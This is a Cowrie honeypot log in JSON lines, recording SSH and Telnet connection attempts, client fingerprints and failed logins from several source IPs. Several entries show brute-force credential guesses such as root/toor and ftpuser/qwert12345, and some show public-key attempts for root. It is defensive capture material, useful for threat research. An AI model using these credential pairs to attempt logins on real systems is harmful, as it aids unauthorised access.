{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:6c:e0:46:b2:23:75:1e:ad:5a:89:36:7f:54:85:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsrKBj1XZ0IrOkM2Eh6LQfCMNybEjuGxto3M8BxXM6uO7fLrakF0WeDLD+XXZ8QSiW139Batt19I++7wf49MUkZNMgR6QOVCiJfPqYQmC79PcIAeTWyiShVp2rUWcwRgHr3iMTY6xirBgEKtkVi1ERrgmzDZ/I5Q9pMgSi3LvI4oTy6+1sl3qWTmMig4iRi9U67DTc7sZp6wkIKqvshh43aRFnHcEsaKM4B1t11foDJ6lh+DHmT7GQ3oW7ucGHgnoCam3YGKwjxp+80NtIerdgMrV2c7bsL/sT8SbvEuFyOl6cNDW5n7gWGTqS/sRxjcoCOU77ug9kXHootPrgLEpTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.550413Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:c4:98:79:7e:f6:d9:98:a1:94:d4:dc:30:ae:dd:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JSZXY/hEpGZ7bt7mDeYrfvblQViD6hN7+gtwjFZN4YE9N+BZkkJa0eJHRUqhqPNSli2FeymojwCwjJDv1pCI9uvM3J/2BLE9ta1URevS+LftXrobsdYho8++1H9Tl0fHf73S8XmsCD4mCOgIsrVHlqE/mt2jpkUaqSzlkX/n2XJlj/7UbIuwfyro9AIL1LvVQaYChtfo+2vHGDPVYFsp4sgPvynDrX+3UKd6U9cgSKmGN+iZBwC3QDa3Ph/Z1I+cz7kz8OI/nQg+0j/sEEWce0PLx18JfLRltPvpZKIegdW4RHrbzOhmRGZAL8DBh5DnXuuGTPRO3jP2wjak1T1YQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:c4:98:79:7e:f6:d9:98:a1:94:d4:dc:30:ae:dd:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.632399Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:c4:98:79:7e:f6:d9:98:a1:94:d4:dc:30:ae:dd:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JSZXY/hEpGZ7bt7mDeYrfvblQViD6hN7+gtwjFZN4YE9N+BZkkJa0eJHRUqhqPNSli2FeymojwCwjJDv1pCI9uvM3J/2BLE9ta1URevS+LftXrobsdYho8++1H9Tl0fHf73S8XmsCD4mCOgIsrVHlqE/mt2jpkUaqSzlkX/n2XJlj/7UbIuwfyro9AIL1LvVQaYChtfo+2vHGDPVYFsp4sgPvynDrX+3UKd6U9cgSKmGN+iZBwC3QDa3Ph/Z1I+cz7kz8OI/nQg+0j/sEEWce0PLx18JfLRltPvpZKIegdW4RHrbzOhmRGZAL8DBh5DnXuuGTPRO3jP2wjak1T1YQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.635863Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:36:eb:18:58:f9:59:24:90:17:30:ae:38:73:21:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2SdJ/Y1PJcXzsuonYJmAUbrrzc6KZimhodvn5jeiVOlQBubakl+Gdd1HvVH0dtoRr5oskqRSmJbyvJh/Z9RnoJ5wUgKHMhKHBsRjqECcVsmzPY173Yb+/cigUNniFQVvHlf4YHV56NaebIElXW/O1bco387GRCI8trqdXm+pHN4VWyLFBRnwrdvuM3i0s732d2VhOk18jUq9d++3REhe1uPLUkY58hZZmaCo8m77QAAEEx4PQISSjXIscUL6L7fo3UvWv26zK/7OkNFqtjeTRa6DJQQ16gFpUskpedhWt+SSkbmRnO0ZxcxTbZ9DUd7PH3sudWg9w50WqvL6Dbw2P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:36:eb:18:58:f9:59:24:90:17:30:ae:38:73:21:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.718595Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:36:eb:18:58:f9:59:24:90:17:30:ae:38:73:21:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2SdJ/Y1PJcXzsuonYJmAUbrrzc6KZimhodvn5jeiVOlQBubakl+Gdd1HvVH0dtoRr5oskqRSmJbyvJh/Z9RnoJ5wUgKHMhKHBsRjqECcVsmzPY173Yb+/cigUNniFQVvHlf4YHV56NaebIElXW/O1bco387GRCI8trqdXm+pHN4VWyLFBRnwrdvuM3i0s732d2VhOk18jUq9d++3REhe1uPLUkY58hZZmaCo8m77QAAEEx4PQISSjXIscUL6L7fo3UvWv26zK/7OkNFqtjeTRa6DJQQ16gFpUskpedhWt+SSkbmRnO0ZxcxTbZ9DUd7PH3sudWg9w50WqvL6Dbw2P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.722321Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:5c:df:76:a0:a4:2d:20:d0:b7:b2:45:ad:58:61:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApnbPUtsHUfQyjkJf+k7SyiXikk2Sgq6UgLXv4lu6Br1dRYS4KRHYrPDEhmp9vYtvEUMoTfSwYnYBcPjDZbr/tpra7RIQWHlSyWeGAhgaAov8/N3zUo33mz6Lx7Giy8fX7yDvyjV8Z3VzTcc0LPoOGU/xhR5ikrp/tvcxw65G6y8SNOgkxM8bpaZFD82h5ELlxerN27Q0fS7K8TnmtsLDebSkgf7Bwk/Xci/YHxwhO+iq3yUG3Fz/+FgDRzVFGt0vsW/wTxr1we+f7t/q+U1IjP1da5PQKmpP2SZUk3XPqDvLrwwv2JFtkQYXreKu1/+EkwtfQWvMFDXjz+ASn8hLgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:5c:df:76:a0:a4:2d:20:d0:b7:b2:45:ad:58:61:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.805499Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:5c:df:76:a0:a4:2d:20:d0:b7:b2:45:ad:58:61:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApnbPUtsHUfQyjkJf+k7SyiXikk2Sgq6UgLXv4lu6Br1dRYS4KRHYrPDEhmp9vYtvEUMoTfSwYnYBcPjDZbr/tpra7RIQWHlSyWeGAhgaAov8/N3zUo33mz6Lx7Giy8fX7yDvyjV8Z3VzTcc0LPoOGU/xhR5ikrp/tvcxw65G6y8SNOgkxM8bpaZFD82h5ELlxerN27Q0fS7K8TnmtsLDebSkgf7Bwk/Xci/YHxwhO+iq3yUG3Fz/+FgDRzVFGt0vsW/wTxr1we+f7t/q+U1IjP1da5PQKmpP2SZUk3XPqDvLrwwv2JFtkQYXreKu1/+EkwtfQWvMFDXjz+ASn8hLgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.809345Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.905354Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":48530,"dst_ip":"159.203.135.109","dst_port":22,"session":"91285a4eb33d","protocol":"ssh","message":"New connection: 113.190.252.123:48530 (159.203.135.109:22) [session: 91285a4eb33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:13.464652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:13.482490Z","src_ip":"113.190.252.123","session":"91285a4eb33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:13.991245Z","src_ip":"113.190.252.123","session":"91285a4eb33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:16.135359Z","src_ip":"113.190.252.123","session":"91285a4eb33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54484,"dst_ip":"159.203.135.109","dst_port":23,"session":"390b72cfd433","protocol":"telnet","message":"New connection: 128.199.8.54:54484 (159.203.135.109:23) [session: 390b72cfd433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:16.615473Z"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:17.663137Z","src_ip":"113.190.252.123","session":"91285a4eb33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99165678024292,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:24.223278Z","src_ip":"128.199.8.54","session":"1acab19e2b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.363712549209595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:44.729398Z","src_ip":"128.199.8.54","session":"731dcd00cba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29810094833374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:49.913423Z","src_ip":"128.199.8.54","session":"390b72cfd433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":53230,"dst_ip":"159.203.135.109","dst_port":22,"session":"5578a218ec65","protocol":"ssh","message":"New connection: 118.194.229.94:53230 (159.203.135.109:22) [session: 5578a218ec65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:08.023591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:08.030652Z","src_ip":"118.194.229.94","session":"5578a218ec65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:08.196707Z","src_ip":"118.194.229.94","session":"5578a218ec65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwert12345","message":"login attempt [ftpuser/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:08.850065Z","src_ip":"118.194.229.94","session":"5578a218ec65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:10.009953Z","src_ip":"118.194.229.94","session":"5578a218ec65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":27046,"dst_ip":"159.203.135.109","dst_port":22,"session":"53329fb7601f","protocol":"ssh","message":"New connection: 193.24.211.100:27046 (159.203.135.109:22) [session: 53329fb7601f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:10.420759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:10.425440Z","src_ip":"193.24.211.100","session":"53329fb7601f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:10.536979Z","src_ip":"193.24.211.100","session":"53329fb7601f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaa","message":"login attempt [root/aaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:11.008562Z","src_ip":"193.24.211.100","session":"53329fb7601f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:12.169969Z","src_ip":"193.24.211.100","session":"53329fb7601f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.47.171","src_port":45974,"dst_ip":"10.17.0.5","dst_port":22,"session":"c983270c7a3f","protocol":"ssh","message":"New connection: 102.223.47.171:45974 (10.17.0.5:22) [session: c983270c7a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:14.496121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:14.500931Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:14.726716Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168061256409,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:14.800462Z","src_ip":"212.55.149.117","session":"ed78a09c0e60","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:76:fa:24:b3:a3:08:2b:20:73:f8:b0:58:b2:7c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEIU1L9qFqWVaTvbF1MP+Iuj83nJL8QuyE/XQMJ8fwZThuJ6Epa1cncPzUyawIW/ZvYdfK663Xzn4wGZSil1uX0c+NIWm8meqTcsD9iBjfWg4XectrNovkfSvtdGSnNnU5Nh9DJ25ZJSDw9kTZZYrsM5t23H+y1iFwW0Bs0ogqoC/FVjoY/Yj+SnpEgicieQMFoKXRWZ/z1lbZlYU6lfIsIhQVIMiASP0qhBDIeqXuXdGANpe9CccmqiZy1UWKrNp+1l1aP4feJy+NX+GaOjDW+Hn8Jv5y6Xw2dVWTycIY1GyaiYm3V9uRkzdhbe39l254mGmHwRDneeIqMjmwJK3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:76:fa:24:b3:a3:08:2b:20:73:f8:b0:58:b2:7c:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:15.835402Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:76:fa:24:b3:a3:08:2b:20:73:f8:b0:58:b2:7c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEIU1L9qFqWVaTvbF1MP+Iuj83nJL8QuyE/XQMJ8fwZThuJ6Epa1cncPzUyawIW/ZvYdfK663Xzn4wGZSil1uX0c+NIWm8meqTcsD9iBjfWg4XectrNovkfSvtdGSnNnU5Nh9DJ25ZJSDw9kTZZYrsM5t23H+y1iFwW0Bs0ogqoC/FVjoY/Yj+SnpEgicieQMFoKXRWZ/z1lbZlYU6lfIsIhQVIMiASP0qhBDIeqXuXdGANpe9CccmqiZy1UWKrNp+1l1aP4feJy+NX+GaOjDW+Hn8Jv5y6Xw2dVWTycIY1GyaiYm3V9uRkzdhbe39l254mGmHwRDneeIqMjmwJK3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:15.839792Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:6c:e0:46:b2:23:75:1e:ad:5a:89:36:7f:54:85:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsrKBj1XZ0IrOkM2Eh6LQfCMNybEjuGxto3M8BxXM6uO7fLrakF0WeDLD+XXZ8QSiW139Batt19I++7wf49MUkZNMgR6QOVCiJfPqYQmC79PcIAeTWyiShVp2rUWcwRgHr3iMTY6xirBgEKtkVi1ERrgmzDZ/I5Q9pMgSi3LvI4oTy6+1sl3qWTmMig4iRi9U67DTc7sZp6wkIKqvshh43aRFnHcEsaKM4B1t11foDJ6lh+DHmT7GQ3oW7ucGHgnoCam3YGKwjxp+80NtIerdgMrV2c7bsL/sT8SbvEuFyOl6cNDW5n7gWGTqS/sRxjcoCOU77ug9kXHootPrgLEpTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:6c:e0:46:b2:23:75:1e:ad:5a:89:36:7f:54:85:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.071272Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
